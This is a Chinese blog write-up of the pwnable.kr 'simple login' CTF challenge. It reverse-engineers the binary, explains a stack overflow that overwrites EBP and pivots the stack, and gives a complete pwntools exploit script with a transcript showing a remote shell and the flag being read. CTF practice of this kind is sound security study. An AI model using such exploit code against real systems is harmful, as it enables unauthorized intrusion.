pwnable.kr [Rookiss] - [simple login]

Can you get authentication from this server?

Download : http://pwnable.kr/bin/login

Running at : nc pwnable.kr 9003

Rookiss 初体验就从相对熟悉的逆向这一块开始好了。

下载好文件后发现是 elf 64 ,在虚拟机上简单跑一跑,要求输入一个 Authenticate ,程序会返回一个 hash 值,猜测是登录验证需要验证 hash,随即猜测正常流程应该走不通。而 romote host 又无法实现爆破,再猜测是需要溢出 :P

然后到物理机用 IDA 直接静态分析程序流程,茫茫多的静态模块....
不过还好程序流程并不复杂,粗略看了 IDA 的流程分析后,可以直接在程序入口处 F5, F4, F3;当前也可以直接看!

分析程序流程的过程无法用简单的语言描述, 反正看就是了。
笔者通过 IDA 插件转化的伪代码和汇编指令结合分析执行流程。
main 函数的 Snowman F3 插件转换的伪代码如下:

int32_t main() {
    void** esp1;
    int32_t v2;
    int32_t eax3;
    int32_t eax4;
    void* esp5;
    void** esp6;
    uint32_t eax7;
    int32_t eax8;

    esp1 = (void**)(((uint32_t)((int32_t)"zero stack offset"() - 4) & 0xfffffff0) - 64);
    memset((uint32_t)esp1 + 30, 0, 30, v2);
    eax3 = g811b860;
    setvbuf(eax3, 0, 2, 0);
    eax4 = g811b864;
    setvbuf(eax4, 0, 1, 0);
    printf("Authenticate : ", 0, 1, 0);
    esp5 = (void*)(esp1 - 1 + 1 - 1 + 1 - 1 + 1 - 1 + 1);
    __isoc99_scanf("%30s", (uint32_t)esp5 + 30, 1, 0);
    memset(0x811eb40, 0, 12, 0);
    esp6 = (void**)((uint32_t)esp5 - 4 + 4 - 4 + 4);
    eax7 = Base64Decode((uint32_t)esp6 + 30, esp6 + 6, 12, 0);
    if (eax7 > 12) {
        puts("Wrong Length", esp6 + 6, 12, 0);
    } else {
        memcpy(0x811eb40, 0, eax7, 0);
        eax8 = auth(eax7, 0, eax7, 0);
        if (eax8 == 1) {
            correct(eax7, 0, eax7, 0);
        }
    }
    return 0;
}

分析得到程序的大致执行流程如下:

  • main 函数执行输入 Authenticate
  • Authenticate 由 Base64 解码后判断长度是否大于12,大于则提示 Wrong Length
  • 输入长度合理将解码后的字串用 memcpy 函数存入0x8114b40处
  • 之后转入 auth 函数,参数中包含解码后的字串和其长度
  • auth 函数通过 memcpy 复制内容到一个 int 类型的局部变量中
  • 计算参数的 md5 hash 并与 f87cd601aa7fedca99018a8be88eda34 相比较
  • 比较结果如果为相等,则返回 true,否则返回 false
  • 返回 main 函数,判断 auth 函数的返回值
  • 如果 auth 返回 false,则程序退出
  • 如果 auth 返回 true ,进入correct 函数
  • 判断地址 0x811eb40 处前 8 个字节是否为 0xdeadbeef,若是,则输出成功信息并得到 shell ;否则退出程序

简单分析完毕后差不多就有一点思路了,正常流程既要验证 hash,前8个字节又要固定,基本是不可能的。
这里主要还是要利用栈溢出。溢出的点自然是在auth 函数调用的 memcpy 这里了。为了准确性这里直接分析该位置的汇编代码:


可以看到在 call memcpy mem(des, src, len) ,上方依次压入了三个参数(从右到左),分别是 len ,src,des。通过计算 0Ch + var_14 = 0Ch - 14h = -8,可知 des 的地址在 ebp 的上方(低地址处),偏移为 8 字节,而我们最多可输入 12 字节的内容,所以当输入 12 字节时,ebp 会被淹没。故而可以通过控制 ebp 的值来控制程序流程。
auth 返回处的汇编代码如下:

.text:0804930B                 leave
.text:0804930C                 retn

这两个指令可以转化为

mov esp, ebp  ;esp的内容为ebp指向的栈地址
pop ebp       ;ebp = ebp指向的栈地址中保存的值,esp + 4

pop eip       ;程序转到 esp + 4 指向的地址执行

在这个程序中,只有输入的字串 Authenticate 是完全由我们控制的,设这里 Authenticate 经过 Base64 解码后为 playload。

那么第一次 leave retn 执行结束后,ebp = 淹没的 4 字节数据,即 playload 的最后 4 个字节内容;
第二次 leave retn 执行结束时,执行 mov esp, ebp 使得 esp 为 playload 最后 4 个字节的值,两次pop 后,得到 eip = playload 最后 4 个字节的值 + 4 的空间中保存的值。

接下来的问题是怎么构造 playload。由于 playload 为 12 字节,而这里淹没的数据块和劫持流程的地址加起来为 8 字节,所以这里 playload 很好地满足跳板的要求。

这里我们构造 playload 最后 4 个用来淹没 ebp 的字节值为 playload 的起始地址;中间 4 个字节的值就可以传递到 eip 来控制程序流程,头 4 个字节作为长度填充(当然也可以在 playload 前 8 个字节中任选4字节位置放入需要传递给 eip 的值,最后 4 字节的值为所需 eip 的值的地址 - 4 即可,其他 4 字节内容作为填充)。

中间的 4 个字节比较好分析,直接到 correct 函数的输出成功信息处:(跳过前4个字节的验证)


可以看到需要劫持程序前往的地址为0x08049278。

最后还需要去找 playload 的起始地址,最简单的方法就是在 IDA input offset 处双击即可看到:


可以看到 playload 的起始地址为 0x0811EB40。

终于可以写 exploit 了!填充内容是什么无关紧要,本着尊敬题目的原则,playload起始 4 字节的内容在这里还是根据 '0xdeadbeef' 来进行 Base64 加密,用 pwntools 构造 exploit如下:


from pwn import *

FILL = 0xdeadbeef
SHELL = 0x08049278
BUF = 0x0811EB40
HOST = "pwnable.kr"
PORT = 9003

loginer = remote(HOST, PORT)
playload =  (p32(FILL) + p32(SHELL) + p32(BUF)).encode("base64")

loginer.recvuntil("Authenticate :")
loginer.sendline(playload)

loginer.interactive()

loginer.close()

不出意外地得到了 shell:

$ python exploit_login.py 
[+] Opening connection to pwnable.kr on port 9003: Done
[*] Switching to interactive mode
 hash : b307a813333efb8b1a35c6e5b5cbbabe
Congratulation! you are good!
$ ls -l
total 7852
-r--r----- 1 root simplelogin      58 Jun 10  2014 flag
-rw------- 1 root root        7070263 Mar 23 07:26 log
-r-xr-x--- 1 root simplelogin  955184 Jun 10  2014 simplelogin
-rwx------ 1 root root            784 Oct 23 07:43 super.pl
$ cat flag
control EBP, control ESP, control EIP, control the world~

正如 flag 说的,溢出的核心在我看来就是利用程序的某个漏洞找到跳板,绕过程序的各个验证机制,逐步劫持执行流程的过程。
切莫贪食,切莫不食。路还很长。


ELF 文件的逆向往往不像 PE 一般可以通过一些强大的 debugger 像 OllyDbg 和 WinDbg一样可以很简洁明了地进行调试,但也可以通过一些调试工具如 gdb 等进行动态分析。笔者在分析这题的 elf64 文件时就用到了 IDA 的远程动态调试功能 Remote Linux Debugger 来分析 ebp 被淹没后程序的执行流程,简单的搭建和操作之后会有介绍。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,324评论 5 476
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,303评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,192评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,555评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,569评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,566评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,927评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,583评论 0 257
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,827评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,590评论 2 320
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,669评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,365评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,941评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,928评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,159评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,880评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,399评论 2 342

推荐阅读更多精彩内容